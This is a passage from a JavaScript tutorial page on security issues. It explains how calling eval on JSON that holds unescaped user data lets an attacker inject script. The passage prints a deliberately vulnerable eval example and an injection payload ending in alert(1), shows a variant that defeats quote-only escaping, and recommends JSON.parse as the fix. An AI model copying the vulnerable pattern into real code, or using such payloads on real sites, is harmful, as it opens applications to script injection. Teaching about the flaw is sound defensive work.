number">1234</span><span class="token operator">/</span>profiledata<span class="token punctuation">.</span>json
</code></pre></div><p>With a response like this:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token punctuation">{</span>
<span class="token string">"name"</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span>
<span class="token string">"description"</span><span class="token operator">:</span> <span class="token string">"Likes pie & security holes."</span>
<span class="token punctuation">}</span>
</code></pre></div><p>Than that data is parsed & inserted:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token keyword">var</span> data <span class="token operator">=</span> <span class="token function">eval</span><span class="token punctuation">(</span><span class="token string">"("</span> <span class="token operator">+</span> resp <span class="token operator">+</span> <span class="token string">")"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"#name"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerText <span class="token operator">=</span> data<span class="token punctuation">.</span>name<span class="token punctuation">;</span>
document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"#description"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerText <span class="token operator">=</span> data<span class="token punctuation">.</span>description<span class="token punctuation">;</span>
</code></pre></div><p>Seems good, right? <strong>Wrong.</strong></p> <p>What if someone's description is <code>Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.</code>? Seems weird, but if poorly done, the response will be:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token punctuation">{</span>
<span class="token string">"name"</span><span class="token operator">:</span> <span class="token string">"Alice"</span><span class="token punctuation">,</span>
<span class="token string">"description"</span><span class="token operator">:</span> <span class="token string">"Likes pie & security holes."</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">"name"</span><span class="token operator">:</span><span class="token string">"Alice"</span><span class="token punctuation">,</span><span class="token string">"description"</span><span class="token operator">:</span><span class="token string">"Likes XSS."</span>
<span class="token punctuation">}</span>
</code></pre></div><p>And this will be <code>eval</code>ed:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token punctuation">(</span><span class="token punctuation">{</span>
<span class="token string">"name"</span><span class="token operator">:</span> <span class="token string">"Alice"</span><span class="token punctuation">,</span>
<span class="token string">"description"</span><span class="token operator">:</span> <span class="token string">"Likes pie & security holes."</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">"name"</span><span class="token operator">:</span><span class="token string">"Alice"</span><span class="token punctuation">,</span><span class="token string">"description"</span><span class="token operator">:</span><span class="token string">"Likes XSS."</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span>
</code></pre></div><p>If you don't think that's a problem, paste that in your console and see what happens.</p> <h3 id="mitagation"><a href="#mitagation" class="header-anchor">#</a> Mitagation</h3> <li>
**Use [JSON.parse](https://stackoverflow.com/documentation/javascript/416/json#t=201707101131536405225&a=parameters) instead of eval to get JSON.** In general, don't use eval, and definitely don't use eval with something a user could control. Eval [creates a new execution context](http://dmitrysoshnikov.com/ecmascript/chapter-1-execution-contexts/), creating a **performance hit**.
</li> <li>
Properly escape `"` and `\` in user data before putting it in JSON. If you just escape the `"`, than this will happen:
<div class="language-js extra-class"><pre class="language-js"><code>Hello<span class="token operator">!</span> \"<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
</code></pre></div><p>Will be converted to:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token string">"Hello! \\"</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">(</span><span class="token punctuation">{</span>"
</code></pre></div><p>Oops. Remember to escape both the <code>\</code> and <code>"</code>, or just use JSON.parse.
</p></li><p></p></div> <footer class="page-edit"><div class="edit-link"><a href="https://github.com/devtut/generate/edit/master/docs/javascript/security-issues.md" target="_blank" rel="noopener noreferrer">Edit this page on GitHub</a> <span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></div> <!----></footer> <div class="page-nav"><p class="inner"><span class="prev">
←
<a href="/javascript/web-cryptography-api.html" class="prev">
Web Cryptography API
</a></span> <span class="next"><a href="/javascript/same-origin-policy-cross-origin-communication.html">
Same Origin Policy & Cross-Origin Communication
</a>
→
</span></p></div> </main></div><div class="global-ui"><!----></div></div>
<script src="/assets/js/app.1779e102.js" defer></script><script src="/assets/js/3.2cfa8016.js" defer></script><script src="/assets/js/1781.226b93f3.js" defer></script>
</body>
</html>